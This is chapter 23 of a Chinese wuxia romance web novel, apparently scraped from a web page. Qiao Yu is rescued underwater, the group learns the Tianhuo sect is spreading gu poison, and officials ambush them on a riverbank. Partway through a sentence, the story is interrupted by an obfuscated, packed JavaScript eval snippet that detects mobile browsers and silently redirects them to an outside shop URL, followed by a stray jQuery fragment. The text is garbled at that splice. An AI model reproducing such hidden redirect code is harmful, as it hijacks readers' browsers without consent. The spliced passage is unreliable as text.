23. 第 23 章
    水沉沉地压在身上,呼吸不上来。

    肺部仿佛在燃烧,乔屿昏沉沉地努力憋气,奋力摆动着双手双脚,想要向上浮去。

    但是一动就牵扯到伤口,越发头晕眼花。

    迷迷糊糊之中,好像有咕噜咕噜的气泡拂到她脸上,接着一股温热气息俯低下来,洒在她鼻子上,慢慢贴上了她的嘴唇。

    空气慢吞吞地流入了肺脏里,窒闷的感觉一点点消退,乔屿缓缓地睁开眼,对上了两丛垂落的睫毛,细细密密的,上面还坠着几颗微小的水珠。

    似乎是注意到她醒过来了,他轻轻地睁开眼,微笑着向后退开一点,又低垂下头,浅浅地亲在她额头上。

    乔屿一怔,瞳孔倏地放大。

    顾启章已经伸手托住了她的腰,带着她往上游。

    何咏抱着乔屿的剑,忍不住张大嘴,傻愣愣地盯着他们,冷不防胳膊被死死攥住,他赶忙回头,发现抓着他的人是钱进。

    “救——”钱进脸涨得通红,嘴里不停吞吐着气泡,他脖子上勒着两截短短的手臂,冲天辫在他身后不断踢他,催他赶紧往上游。

    何咏:“……”

    等何咏帮忙托着冲天辫浮出水面的时候,发现了不远处的一片浅滩,浅滩周围,隐隐约约能看出是一处小山坡,再往里便是深不可见的黑色。

    浅滩上燃着一团暗黄色的火,他家少爷正捧着衣服,一前一后翻烤,乔姑娘则捂着伤口斜坐在旁边,垂下头,出神地盯着地面。

    衣服泡在水面,皱巴巴得难受,火就在眼前,三人默契加快了速度,一鼓作气爬上了岸。

    短暂地歇了会后,何咏抱着剑凑到火堆旁,递过去:“乔姑娘,你的剑。”

    乔屿慢半拍地回神,将剑接过:“谢谢。”

    何咏递了剑,站在原地没动,他偷瞄了一眼顾启章,又悄悄瞅着乔屿,眼神在俩人身上不停游移。

    “有什么话就说。”顾启章被他盯得发毛,忍不住道。

    乔屿没有出声,但也跟着抬眼望过来。

    “没、没什么。”何咏挠了挠脸,眼神闪烁,他是很想问问河底下是怎么回事,但又有点不好意思。

    “做什么吞吞吐吐的。”

    顾启章看他一眼,抖了抖手上烤干的衣服,蹲下来递给乔屿,轻声道:“你身上有伤,不宜着凉,先换上我的衣服吧。”

    乔屿低下头,眼神落在他弯起的嘴角上,没有伸手。

    身为玄玉宗大师姐,未来的玄玉宗宗主,她从懂事起就被柳默笙教导凡事不假他人之手,从来只有她照顾别人,没有被别人照顾的道理。

    顾启章这样,她很不习惯。

    可是刚才顾启章在水下面,蜻蜓点水般亲在她额头上的那一吻,让她想起了很小的时候,她刚被柳默笙带回玄玉宗,柳默笙每晚睡前哄她入睡的亲吻。

    那是她被舅舅赶出家门,在街头乞讨了大半年后,第一次感受到温热的善意,就好像她是一枝风一吹就凋零的花骨朵,被柳默笙小心翼翼地捧着。

    “乔姑娘…”看出她走神,顾启章无奈地开口。

    乔屿恍然,这一次她稍加犹豫,接过了顾启章的外衣。

    在场的男人都转过身,给她时间换衣服。

    因为火烘烤过的缘故,顾启章的外袍穿着干燥温暖,乔屿撕下一截过长的下摆,裹在腹部伤口的位置。

    腹部的伤口,其实不深,方才在河里沾了水才显得刺痛难受。那位圣姑虽然使出了让她愣神的玄玉剑法,但似乎避开了要害。

    后头半天没动静,冲天辫不满地跺脚:“好了吗!”

    乔屿应声,他立即冲过去,把自己脱得只剩一个裤衩子,找了个石头,将红肚兜和红裤子搭在火堆上,盘腿抱着胸坐下,霸住了火堆。

    钱进慢了几步,又不敢跟他抢,委委屈屈地退到一角,守着一点火星,烘烤衣服。

    顾启章和何咏也围着冲天辫坐下烤火。

    乔屿抱着剑走到一边,望着泠泠的河面,忽然问道:“谷主,你方才说天火教如今在武林□□中一响百应,谁不服就灭谁满门,这是什么时候的事?”

    她下山之前,武林□□还是尊黑水门为□□之首,这才多久,怎么□□之首就换成了朝廷通缉的、人人视其为丧家之犬的天火教?

    冲天辫听到天火教的名字,脸色也不好看:“云药谷避世,我知道这个消息,也是因为闻天启上门来求药。这群老家伙上门求人,对自己的病情却遮遮掩掩,我心里起了怀疑。派了人出去查探,这才知道外面变天了。

    天火教不知道使了什么手段,接连屠杀几个叫得上名号的武林□□门派,就连黑水门门主也入了天火教,俯首听命。”

    乔屿听得直皱眉。正白两道对抗日久,这几年因为门主段乐集闭关精进魔功,没了搅风搅雨的大魔头,武林已经太平多时。没想到这样的魔头,居然甘受天火教差遣。

    “不过玄冥庄也是活该,闻天启人心不足蛇吞象,在天火教招安期间,妄图取而代之,被天火教灭了满门,他们几个老家伙虽然拼死逃出来,但也被下了剧毒。他们来我这里之前,似乎还去见过你师父,你师父好像也无能为力。”

    乔屿默然,玄玉宗以剑术闻名天下,对闻天启那怪病束手无策并不奇怪。

    “那依谷主之见,闻天启到底中了什么毒?”顾启章忍不住插嘴,他也算翻过几本医书的人,从没见过像闻天启那样病症的病患。

    方才在船上远远瞧着,闻天启不像活人,倒像死人。

    “蛊毒。”冲天辫冷冷地吐出两个字。

    “你们在冰室里晕倒之后,我本想杀掉闻天启,但是还没来得及动手,天火教追杀的人就赶到了。我亲眼见到那位圣姑招手引出蛊虫,那蛊虫顺着闻天启的耳朵蠕动进去,闻天启就变成了你们见到的那副死人样。”

    随着他的话落,亮晃晃的火堆骤然爆出噼啪一声脆响。

    听到这个答案的众人,内

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746083|145275||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    心都是一凉。

    前朝庸荣皇帝推崇巫术,妄求操控人心,与天同寿。上行下效,各地官员都以进献巫蛊大能入宫为荣。皇帝迷信巫术,放任大大小小的巫师肆意抓人炼制巫蛊,每成功炼出一蛊,便大大旌奖,金银田宅,娇妻美妾都不在话下。

    长此以往,民不聊生,朝局动荡,幸而本朝太祖皇帝带着队伍成功赶跑了庸荣皇帝。自那之后,巫蛊就被纳入本朝律法的重罪十条中,罪同谋反。

    如今消失了百年的蛊毒居然重新现世,怎么不叫人惊惶。

    死寂之中,顾启章轻轻吁了一口气,看向钱进:“公公,此事非同小可,还需尽早禀报皇上。”

    “是、是。”钱进抹了一把冷汗,连连点头。蛊毒的威名,他也有所耳闻,中蛊的人不仅皮肤会溃烂,还得忍受剔骨之痛,受施蛊人差遣。回想起他之前离闻天启那大毒虫那么近,不禁后怕起来,身体微微发抖。

    冲天辫瞧不上他这模样,翻了个白眼。

    乔屿握紧了手中的剑,这事关乎天下人的安危,江湖门派也不能置身事外,她也得回师门禀报她师父。而且,她也很奇怪天火教圣姑为什么会使玄玉宗剑法,她得问问她师父。

    不过在此之前,她得先搞懂一件事,她想着,转头问冲天辫:“你的心头血不是很厉害吗?能解这蛊毒吗?”

    “再厉害,我全身上下就那么点血,蛊虫可是要多少有多少。”冲天辫凉凉道。

    否则,他也不会跑出来。

    冲天辫想起冰室里面蛊虫遍地爬的场景,狠狠一咬牙,一掌拍在沙堆上。

    “啪——”

    因为愤怒,他这一掌下去,黄沙哗一下,猛地自下而上喷涌,凝结成了雨滴大小的沙子“砰砰砰”朝四面八方无差别扫射。

    乔屿轻巧地运剑破开,顾启章三人猝不及防,接二连三地爆出几声痛叫。

    正闹着,幽暗的山坡上面忽然传来窸窸窣窣的声响,接着像变戏法一样,那上面一点一点亮起了昏黄的火光。

    众人望过去,只见一队数十人的、腰中佩刀的官吏依次从山腰上滑下来,黑压压地朝他们围过来,噌噌噌拔刀出鞘,将泛着森森银光的刀尖亮出。

    为首的小胡子官吏站在最后,冷丝丝的眼神从乔屿等人脸上扫过,皮笑肉不笑道:“总算是叫你们落到了我手里。”

    说着,他一声令下:“不论死活,抓住他们,本官重重有赏!”

    “是。”众官吏应声。

    “诶,这位——”顾启章直觉哪里不对劲,吐掉嘴里的沙子,想要站起来阻止,离他最近的一个士兵直接冷啐一声,挥刀狠狠劈了过来。

    他吓得直接破音,身体一僵。

    “还不闪开!”冲天辫一把拽住他的衣服,将人扯到地上避开这一刀,又横身一个侧翻,双手撑在地上,把靠近内圈的几个兵的刀邦邦踢掉。

    里圈的官兵一愣,外圈的官兵立即又扑上来,一左一右朝钱进和何咏砍去。